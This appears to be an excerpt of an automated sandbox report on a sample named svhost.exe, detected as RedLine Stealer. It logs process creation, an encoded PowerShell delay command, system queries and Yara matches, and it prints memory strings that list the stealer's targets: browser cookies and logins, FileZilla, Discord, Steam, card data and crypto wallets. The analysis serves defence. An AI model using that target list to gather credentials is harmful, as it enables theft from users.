Source: C:\Users\user\AppData\Roaming\svhost.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA==	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process created: C:\Users\user\AppData\Roaming\svhost.exe C:\Users\user\AppData\Roaming\svhost.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA==	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA==	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Queries volume information: C:\Users\user\AppData\Roaming\svhost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Queries volume information: C:\Users\user\AppData\Roaming\svhost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Queries volume information: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Queries volume information: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation

Source: C:\Users\user\AppData\Roaming\svhost.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 2.2.svhost.exe.4222060.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svhost.exe.3292bc8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.svhost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svhost.exe.3292bc8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svhost.exe.4222060.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svhost.exe.41dca40.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.428265959.0000000004151000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.580544741.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.424099399.0000000003278000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.428265959.0000000004197000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: svhost.exe PID: 4768, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svhost.exe PID: 5428, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: svhost.exe, 00000002.00000002.428265959.0000000004151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [^\u0020-\u007F]ProcessIdname_on_cardencrypted_valuehttps://ipinfo.io/ip%appdata%\logins{0}\FileZilla\recentservers.xml%appdata%\discord\Local Storage\leveldb\tdataAtomicWalletv10/C \EtFile.IOhereuFile.IOm\walFile.IOletsESystem.UItherSystem.UIeumElectrum[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}profiles\Windows\valueexpiras21ation_moas21nth
Source: svhost.exe, 00000002.00000002.428265959.0000000004151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: user.config{0}\FileZilla\sitemanager.xmlcookies.sqlite\Program Files (x86)\configRoninWalletdisplayNamehost_key\Electrum\walletsName\Exodus\exodus.walletnanjmdknhkinifnkgdcggcfnhdaammmjtdataexpires_utc\Program Data\coMANGOokies.sqMANGOlitessfnExodusDisplayVersion%localappdata%\GuildWalletOpHandlerenVPHandlerN ConHandlernect%DSK_23%YoroiWalletcmdOpera GXhttps://api.ipify.orgcookies//settinString.Removeg[@name=\PasswString.Removeord\]/valuString.RemoveeSaturnWalletWeb DataSteamPathwaasflleasft.datasfCommandLineSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallCookiesis_secureSoftware\Valve\SteamLogin DataID: isSecureNoDefrdDefVPNDefwaasflletasfMewCxv11\Program Files\Opera GX StableSELECT * FROM Win32_Process Where SessionId='nlbmnnijcnlegkjjpcfjclmcfggfefdmnkddgncdjgjfcddamfgcmfnlhccnimig\coFile.IOm.libeFile.IOrty.jFile.IOaxFile.IOxnamefnjhmkhhmkbjkkabndcnnogagogbneecfhilaheimglignddkjgofkcbgekhenbhProfile_Unknowncard_number_encrypted, Name: AppData\Roaming\TReplaceokReplaceenReplaces.tReplacext //settString.Replaceing[@name=\UString.Replacesername\]/vaString.ReplacelueNWinordVWinpn.eWinxeWinhostmoz_cookiesUser Datawindows-1251, CommandLine: \ExodusDisplayNameexpiry.vstring.ReplacedfJaxxpathBSJB
Source: svhost.exe, 00000002.00000002.428265959.0000000004151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: user.config{0}\FileZilla\sitemanager.xmlcookies.sqlite\Program Files (x86)\configRoninWalletdisplayNamehost_key\Electrum\walletsName\Exodus\exodus.walletnanjmdknhkinifnkgdcggcfnhdaammmjtdataexpires_utc\Program Data\coMANGOokies.sqMANGOlitessfnExodusDisplayVersion%localappdata%\GuildWalletOpHandlerenVPHandlerN ConHandlernect%DSK_23%YoroiWalletcmdOpera GXhttps://api.ipify.orgcookies//settinString.Removeg[@name=\PasswString.Removeord\]/valuString.RemoveeSaturnWalletWeb DataSteamPathwaasflleasft.datasfCommandLineSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallCookiesis_secureSoftware\Valve\SteamLogin DataID: isSecureNoDefrdDefVPNDefwaasflletasfMewCxv11\Program Files\Opera GX StableSELECT * FROM Win32_Process Where SessionId='nlbmnnijcnlegkjjpcfjclmcfggfefdmnkddgncdjgjfcddamfgcmfnlhccnimig\coFile.IOm.libeFile.IOrty.jFile.IOaxFile.IOxnamefnjhmkhhmkbjkkabndcnnogagogbneecfhilaheimglignddkjgofkcbgekhenbhProfile_Unknowncard_number_encrypted, Name: AppData\Roaming\TReplaceokReplaceenReplaces.tReplacext //settString.Replaceing[@name=\UString.Replacesername\]/vaString.ReplacelueNWinordVWinpn.eWinxeWinhostmoz_cookiesUser Datawindows-1251, CommandLine: \ExodusDisplayNameexpiry.vstring.ReplacedfJaxxpathBSJB
